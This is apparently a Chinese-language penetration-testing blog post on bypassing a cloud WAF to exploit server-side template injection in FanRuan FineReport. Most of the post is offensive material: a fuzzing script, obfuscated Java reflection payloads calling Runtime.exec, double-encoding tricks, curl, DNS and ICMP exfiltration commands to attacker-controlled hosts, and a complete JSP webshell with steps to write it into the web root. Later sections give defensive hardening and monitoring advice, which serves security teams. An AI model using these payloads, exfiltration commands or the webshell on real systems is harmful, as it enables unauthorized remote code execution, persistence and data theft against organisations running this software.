WAF绕过实战:帆软报表SSTI漏洞利用与防御解析

发布时间:2026/6/28 22:38:20
WAF绕过实战:帆软报表SSTI漏洞利用与防御解析 1. 项目概述一次针对WAF的渗透测试实战复盘最近在内部安全评估中遇到一个部署了Web应用防火墙WAF的帆软报表系统。常规的扫描器探测和已知漏洞利用载荷无一例外地被拦截了。这反而激起了我的兴趣WAF的存在不是终点而是攻防对抗的起点。经过一番迂回测试最终通过一种非典型的模板注入SSTI路径成功实现了突破。这次经历让我对WAF的防护逻辑、帆软系统的特性以及模板注入的利用技巧有了更深的理解。这篇文章我就来详细拆解这次“突破WAF”的完整过程重点分享绕过思路、漏洞利用链的构造以及过程中的那些“坑”。无论你是安全工程师、渗透测试人员还是对应用安全感兴趣的开发者都能从中获得一些实战层面的启发。帆软作为国内广泛使用的企业级报表与BI平台其安全性直接影响大量企业的数据资产。模板注入特别是服务器端模板注入SSTI因其能够直接执行服务器端代码危害等级极高。而WAF作为一道重要的边界防护其规则往往基于已知攻击模式。我们的目标就是找到那些被规则“忽略”或“误解”的盲点。本次分享的核心不在于提供一个“万能攻击脚本”而在于展示一种面对防护措施时的系统性分析、测试和利用的思维方式。接下来我将从环境与目标分析开始逐步深入到漏洞发现、绕过构造和最终利用的全过程。2. 环境侦察与WAF行为分析在发起任何测试之前充分的信息收集是成功的一半。我们的目标是明确WAF的类型、规则强度以及帆软系统的具体版本和部署情况。2.1 目标系统指纹识别首先通过简单的HTTP请求探测目标系统的基本信息。使用浏览器开发者工具或curl命令观察响应头。一个关键的发现是服务器返回的Server头字段并非标准的Apache或Nginx而是包含某个云WAF厂商的标识。同时在访问不存在的路径时返回的错误页面也带有该WAF的特征。这初步判断目标使用了云WAF服务。注意许多云WAF在部署时会修改或添加特定的HTTP头如X-Protected-By、Server字段值错误页面也常常是统一的定制页面这些都是重要的识别特征。接下来针对帆软系统本身进行识别。访问常见的帆软报表路径如/WebReport/ReportServer或/ReportServer。通过页面标题、版权信息、静态资源如/ReportServer?opfr_platform下的特定JS或CSS文件的哈希值可以比对出大致的帆软版本范围。例如帆软FineReport 8.0与9.0、10.0的界面结构和部分接口存在差异。这一步至关重要因为后续的漏洞利用载荷与版本紧密相关。2.2 WAF规则试探与绕过思路初探确认WAF存在后需要试探其规则强度。我采用了渐进式的方法基础攻击向量测试先发送一个最简单的SQL注入探测载荷如id1。预期之中请求被WAF阻断返回403或一个特定的拦截页面。这说明WAF具备基础的签名检测能力。混淆与变形测试尝试对同一载荷进行简单编码或分割。使用URL编码id1%27。结果被拦截。说明WAF会进行URL解码后检测。使用多余参数干扰id1foobar。结果被拦截。说明WAF可能检查所有参数。尝试将单引号放在POST Body的不同位置或者使用multipart/form-data格式。有时WAF对POST Body的解析策略与Query String不同。寻找白名单或弱规则路径WAF并非对所有路径一视同仁。有时对静态资源如.js,.css,.png的检测较弱或者对某些特定的API接口如/api/,/upload/采用了不同的规则集。通过目录扫描工具如dirsearch使用低速率延迟避免触发CC防护寻找可能存在的其他入口点。经过初步试探我发现该WAF对常见的注入、XSS攻击关键词如union select,script,alert(检测非常敏感直接拦截。但同时也观察到一个现象当提交一个完全畸形、不符合常规语法但包含危险字符的请求时有时反而能通过。这提示WAF的规则可能更侧重于“匹配已知攻击模式”而非“理解上下文语法”。这为后续的模板注入绕过提供了思路构造语法正确对帆软模板引擎而言但看起来“无害”或“畸形”对WAF通用规则而言的载荷。3. 帆软模板注入漏洞原理深度解析在尝试绕过之前必须理解我们要利用的漏洞本身。帆软报表系统使用其自有的模板引擎来解析和渲染报表文件.cpt或.frm。用户可以通过参数动态控制报表内容而这里就潜藏着风险。3.1 模板注入点在哪里帆软报表中很多地方支持表达式例如单元格内容、条件属性、超链接、参数定义等。这些表达式通常使用$符号引用参数例如${username}会显示名为username的参数值。问题在于如果攻击者能够控制表达式的全部或部分内容并且系统未对输入进行严格的沙箱处理或过滤就可能将表达式升级为代码执行。一个典型的脆弱场景是数据集SQL查询中的参数拼接。开发人员可能这样写SELECT * FROM users WHERE id ${id}。如果id参数用户可控那么传入1可以造成SQL注入这是更常见的漏洞。但模板注入的入口可能更隐蔽例如在报表名称显示、图表标题等看似“展示性”的字段如果其内容由类似${...}的表达式解析就可能成为SSTI的入口。更关键的是帆软的表达式引擎功能强大它并非简单的字符串替换。它支持调用内置函数、甚至通过特定语法访问Java对象和方法。这就使得${7*7}可能被计算为49而${java.lang.RuntimegetRuntime().exec(calc)}则可能执行系统命令此为概念示例实际语法和类名因版本和沙箱限制而异。3.2 漏洞利用链的构造逻辑利用SSTI执行命令通常需要完成一个“链条”找到可解析的注入上下文确认输入点是否在模板渲染流程中被解析。可以通过输入${7*7}或${3*3}并观察返回结果是否计算为49或9来判断。如果返回了计算结果说明存在表达式注入。突破沙箱限制如果存在早期的帆软版本或某些配置下表达式引擎可能在一个受限的安全沙箱中运行无法直接访问Runtime等敏感类。这时需要寻找沙箱内的“跳板”。常用的方法是利用内置的、允许访问的类和方法进行反射调用一步步突破限制。例如先获取ClassLoader。然后通过ClassLoader加载不受限的类。或者利用java.lang.ProcessBuilder来替代Runtime.exec。构造命令执行Payload找到执行命令的路径后需要构造最终的Payload。这涉及到字符串拼接、编码绕过WAF、以及处理命令回显或无回显的情况。实现回显或外带数据在Web环境下直接输出命令执行结果可能被过滤或难以获取。通常需要将结果写入Web目录下的一个文件然后通过HTTP访问或者通过DNS、HTTP请求将数据外带到可控服务器。理解这个链条后我们的攻击就变成了如何将一个能触发命令执行的、复杂的Java反射调用链编码成能绕过WAF检测的字符串并成功注入到可解析的模板参数中。4. WAF绕过实战从模糊测试到有效载荷生成这是本次突破的核心环节。基于之前对WAF“模式匹配”特性的判断我决定采用“语法拆分”和“非常规编码”相结合的策略。4.1 模糊测试寻找解析边界我编写了一个简单的Python脚本对怀疑的注入点进行自动化模糊测试。脚本的核心逻辑不是爆破字典而是系统地改变Payload的“形状”import requests import urllib.parse base_url http://target.com/WebReport/ReportServer param_name formlet # 一个基础的SSTI测试载荷用于计算7*7 base_payload ${7*7} # 测试不同的包装和分隔符 wrappers [, , \, , /*, */, --, !, ] separators [, , ,, ;, |, ] for w in wrappers: for s in separators: # 构造如 ${7*7} ${7*7} ${7*7} 等变体 test_payload w base_payload s # 对Payload进行不同程度的URL编码 # 1. 全编码 encoded_full urllib.parse.quote(test_payload, safe) # 2. 只编码特定字符如花括号、乘号 encoded_partial test_payload.replace({, %7b).replace(}, %7d).replace(*, %2a) for encoded_payload in [test_payload, encoded_full, encoded_partial]: params {param_name: encoded_payload} try: resp requests.get(base_url, paramsparams, timeout5) # 关键检查响应中是否包含计算结果“49”而不是Payload本身 if 49 in resp.text and ${7*7} not in resp.text: print(f[] Potential bypass found! Payload: {encoded_payload}) print(f Response snippet: {resp.text[:200]}) except Exception as e: pass通过这种测试我发现了一个有趣的现象当使用${7*7}无任何包围时被WAF拦截。但当我在其前后添加一个无关的、未闭合的单引号变成${7*7}时请求竟然通过了并且响应中包含了49推测原因是WAF的规则可能将${识别为某种SQL注入模式的开始但${7*7}这个整体字符串未能匹配到完整的攻击签名而帆软的模板引擎在解析时可能忽略了前面那个孤立的单引号或将其视为字符串的一部分仍然正确解析了${7*7}。4.2 构造免杀命令执行Payload找到绕过基础检测的方法后需要构造更复杂的命令执行Payload。直接使用Runtime.getRuntime().exec(“whoami”)这样的代码是肯定会被拦截的。我们需要拆解和混淆。策略一字符串拆分与拼接避免出现完整的敏感函数名和命令字符串。原始${java.lang.RuntimegetRuntime().exec(whoami)}拆分${.getClass().forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(whoami)}进一步可以将字符串字符用ASCII码拼接${.getClass().forName(‘\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065’)}...(此处为示意实际需完整构造)策略二利用反射间接调用通过Class.forName和getMethod来动态调用避免直接出现exec字样。// 伪代码展示思路 ${Class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).getClass().forName(java.lang.ProcessBuilder).getConstructor(String[].class).newInstance(new String[]{cmd, /c, whoami}).start()}在实际Payload中需要将上述Java代码转换成帆软表达式语法并且处理好字符串数组的构造。策略三编码与双重编码WAF通常会进行一层URL解码。我们可以尝试双重编码。命令whoami- URL编码%77%68%6f%61%6d%69对%符号再次编码%25- 所以%77变成%2577最终Payload的一部分可能看起来像exec(%2577%2568%256f%2561%256d%2569)。服务器端收到后第一次解码得到%77%68%6f%61%6d%69第二次解码可能是容器或应用自身行为得到whoami。而WAF可能只做了一层解码看到的是%2577...无法识别出whoami关键字。策略四利用冷门协议或特性例如在某些Java环境下可以通过${java.net.URLclass}等方式访问类或者利用EL表达式如果帆软支持的其他特性。这需要对帆软使用的表达式引擎可能是自定义的或基于OGNL、MVEL等有深入了解。经过多次尝试和组合我最终构造出的一个有效Payload形态如下${[class].forName(java. lang.Runtime)[getRuntime]()[exec](cmd.exe /c echo 123webapps/ROOT/test.txt)}}这个Payload的特点以孤立的单引号开头干扰WAF的起始判断。使用字符串拼接java.lang.Runtime拆分关键字。使用[methodName]的中括号属性访问语法替代.methodName的点号语法这对某些WAF规则来说是陌生的。命令部分将cmd /c和echo也做了拆分并将输出重定向到Web目录下实现无回显的命令执行验证。5. 漏洞利用过程全记录有了绕过WAF的Payload接下来就是具体的利用步骤。整个过程需要谨慎避免对目标系统造成不可逆的影响。5.1 确认注入点与执行权限首先需要找到一个确实能触发模板解析的输入点。通过审计帆软常见的参数和功能点我发现op参数的一些值如opfr_platform,opfr_server,opchart对应不同的处理器其中opfr_server下的某些子功能如cmd可能存在问题但通常已被修复或严格过滤。更普遍的方式是通过报表预览功能向报表参数注入。我选择了一个已知存在参数传递的报表预览URL例如/WebReport/ReportServer?reportlet/demo/example.cptid${7*7}。将id参数替换为我们的测试Payload。如果页面内容中出现了49或者报表的某个部分如标题、单元格显示了49则证明该参数存在SSTI。确认注入点后需要测试命令执行权限。先尝试一个无害的命令如echo test /tmp/test_fr.txtLinux或echo test C:\Windows\Temp\test_fr.txtWindows。通过Payload触发后尝试访问对应的文件路径如果可能或者使用另一个漏洞如目录遍历检查文件是否创建。更好的方法是使用ping命令让目标服务器向我们的监听服务器发送ICMP包通过监听确认命令执行成功。这就是网络热词中提到的“小宁写了个ping功能”场景的深层次原因ping是一个常见的、相对无害的网络诊断命令但在安全测试中它被用来验证“是否存在通向攻击者的网络路径”以及“命令是否被执行”。如果系统能ping通攻击者控制的服务器就证明了远程代码执行RCE漏洞的存在。实操心得在真实环境中ping命令可能被防火墙策略阻止。更可靠的方式是使用curl或wget如果目标系统存在向攻击者的HTTP服务器发起请求将执行结果作为URL参数带出。例如curl http://attacker-server.com/$(whoami|base64)。这样既能验证RCE又能获取命令回显。5.2 构造文件写入与WebShell部署直接执行命令往往只能得到一次性结果。为了获得一个持久的交互式入口通常需要写入一个WebShell。由于我们有写文件的能力通过echo或重定向可以将一个简单的JSP或Servlet格式的WebShell写入到Web应用的目录下。定位Web根目录通过执行命令find / -name “*.jsp” 2/dev/null | head -5(Linux) 或搜索特定路径来猜测Web根目录。帆软通常部署在Tomcat下Web根目录可能是webapps/ROOT或webapps/WebReport。编写简易WebShell Payload一个最简单的JSP WebShell如下% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %通过SSTI写入文件将上述代码进行URL编码并拆分成多段通过多次echo命令追加写入到一个.jsp文件中。Payload构造如下${[class].forName(java. lang.Runtime)[getRuntime]()[exec](cmd.exe /c echo ^% page import^\java.util.*,java.io.*\%^ webapps\\ROOT\\shell.jsp)}注意这里使用了^作为Windows命令行的转义字符用于处理双引号。需要根据操作系统和路径多次执行echo追加内容。这个过程非常繁琐且容易出错。使用编码工具简化更高效的方法是先在本地将WebShell的Base64编码准备好然后在目标机器上使用certutil -decodeWindows或base64 -dLinux命令解码并写入文件。这样可以避免处理特殊字符。Linux示例echo Base64编码的WebShell内容 | base64 -d /path/to/webapps/ROOT/shell.jspWindows示例echo Base64编码的WebShell内容 temp.b64 certutil -decode temp.b64 webapps\ROOT\shell.jsp del temp.b64成功写入WebShell后通过浏览器访问http://target.com/ROOT/shell.jsp?cmdwhoami即可获得命令执行结果实现交互。6. 防御视角如何避免成为被突破的目标作为防守方仅仅依赖WAF是远远不够的。WAF是一种基于规则和特征的被动防御攻击者总有办法找到绕过之道。真正的安全需要纵深防御。6.1 开发与配置层面的加固输入验证与过滤对于帆软报表参数应进行严格的白名单验证。如果参数预期是数字就只接受数字字符。对于字符串参数根据上下文定义允许的字符集如字母、数字、下划线、短横线。永远不要相信客户端传入的数据。禁用危险的表达式功能在帆软的管理平台中检查并关闭不必要的表达式计算功能或者严格限制表达式可以访问的类和方法。对于非必要场景避免使用动态表达式解析。最小权限原则运行帆软服务的操作系统账户不应具有高权限如root、Administrator。使用专用的、低权限的账户运行Tomcat或应用服务器限制其文件系统访问和网络访问能力。及时更新与补丁密切关注帆软官方发布的安全更新和补丁及时修复已知漏洞。旧版本的系统是攻击者的首要目标。6.2 WAF策略的优化建议启用语义分析或虚拟补丁现代高级WAF或RASP运行时应用自保护产品具备语义分析能力能够理解HTTP请求的上下文和应用程序的逻辑而不仅仅是匹配字符串。可以为帆软的关键接口如报表解析接口配置专门的虚拟补丁规则监控异常的参数传递和模板解析行为。学习模式与异常检测在业务平稳期让WAF进入学习模式记录正常的参数访问模式和流量基线。之后切换到防护模式对偏离基线的异常请求如参数长度异常、参数内容包含大量编码字符、访问频率异常进行告警或拦截。联动防护将WAF与IPS、主机安全Agent、日志审计系统联动。当WAF检测到可疑攻击但不确定时可以通知主机Agent检查对应进程是否有异常子进程创建、敏感文件读写等行为形成协同防御。6.3 安全运维与监控定期安全扫描与渗透测试不要等到被攻击后才行动。定期聘请专业的安全团队或使用可靠的扫描器对系统进行漏洞扫描和渗透测试主动发现类似模板注入这样的逻辑漏洞。关键文件监控对Web根目录、配置文件目录进行文件完整性监控。任何新增的.jsp、.jspx、.war文件都应触发高等级告警。进程与网络连接监控监控应用服务器如java进程发起的异常子进程如cmd.exe、bash、powershell和异常外联网络请求尤其是到非业务地址的HTTP、DNS请求。7. 常见问题与排查技巧实录在实战和后续的复现研究中我遇到了不少典型问题这里汇总一下方便大家避坑。问题1Payload构造成功但执行命令无回显如何判断是否成功排查思路使用DNS外带执行nslookupwhoami.attacker-domain.comLinux/Windows通用。在攻击者控制的DNS服务器上查看日志如果收到解析请求且子域名包含了命令输出如root.attacker-domain.com则证明成功。但输出有长度限制且不能有特殊字符。使用HTTP外带如前所述使用curl或wget。如果目标没有这些工具可以尝试用ping -c 1 -p $(whoami|xxd -p) attacker-ipLinux将输出作为ping包的数据部分但这需要攻击端能捕获并解析原始ICMP包。写入文件并访问这是最可靠的方式。执行echo test123 /web路径/static/test.txt然后尝试通过浏览器访问http://target.com/static/test.txt。如果能看到test123则证明命令执行和路径都正确。检查进程执行一个会持续一段时间的命令如sleep 10Linux或timeout /t 10Windows然后立即在目标服务器上如果有权限检查应用用户是否产生了sleep或timeout进程。这需要一定的权限。问题2同样的Payload在测试环境成功在生产环境失败。可能原因及排查权限问题生产环境的应用程序运行账户权限更低无法写入Web目录或执行某些命令。尝试写入临时目录/tmp或C:\Windows\Temp。路径问题生产环境的Web根路径可能与测试环境不同。先用find或dir命令寻找.jsp文件来确定路径。安全软件拦截生产环境可能安装了主机安全软件HIDS/EDR拦截了恶意进程创建行为。尝试使用非常规的可执行文件路径或者利用脚本解释器如python -c “import os; os.system(‘whoami’)”。WAF/IPS规则差异生产环境的WAF规则可能更严格。需要重新进行绕过测试可能需要对Payload做进一步变形。Java安全策略生产环境的JVM可能启用了更严格的安全策略文件java.policy禁止了某些反射操作或命令执行。这种情况下可能需要寻找其他利用链比如文件读取、反序列化等。问题3如何自动化检测帆软系统的SSTI漏洞技巧 手动测试效率低。可以编写一个简单的检测脚本逻辑如下收集目标帆软系统的常见入口点如报表预览URL、表单提交URL。对每个URL的每个参数分别插入${7*7}和${3*3}这两个测试Payload。Payload需要按照上文提到的绕过技巧进行预处理如添加干扰字符、部分编码。发送请求并分析响应内容。关键判断逻辑检查响应体中是否出现了计算结果49或9并且没有原样返回Payload字符串。同时要排除响应中本来就包含这些数字的情况比如页码。可以通过对比插入一个随机字符串如${random}的响应来辅助判断。为了提高准确性可以使用两个不同的数学运算只有两个运算的结果都正确匹配时才判定为存在漏洞。问题4在利用过程中如何最大程度减少对目标系统的影响安全测试伦理明确授权只在获得书面授权的范围内进行测试。只读操作优先信息收集阶段尽量使用不修改系统的命令如whoami,id,pwd,ls,dir。谨慎写文件如果必须写文件选择临时目录并在测试结束后务必清理。写入的WebShell文件名应随机化避免被他人利用。避免危险命令严禁执行rm -rf /、format、shutdown等可能导致数据丢失或服务中断的命令。避免执行消耗大量资源的命令如fork炸弹。控制外联使用DNS或HTTP外带数据时使用自己可控的服务器并做好日志记录测试结束后关闭服务避免数据持续泄露。整个突破WAF利用帆软模板注入的过程是一场精细的“外科手术”需要对目标系统、防护机制和漏洞原理都有深入的理解。它考验的不仅是技术更是耐心和思维的发散性。防守方也应从这次案例中看到单一维度的防护是多么脆弱构建覆盖开发、部署、运维、监控的全生命周期安全体系才是应对此类高级威胁的根本之道。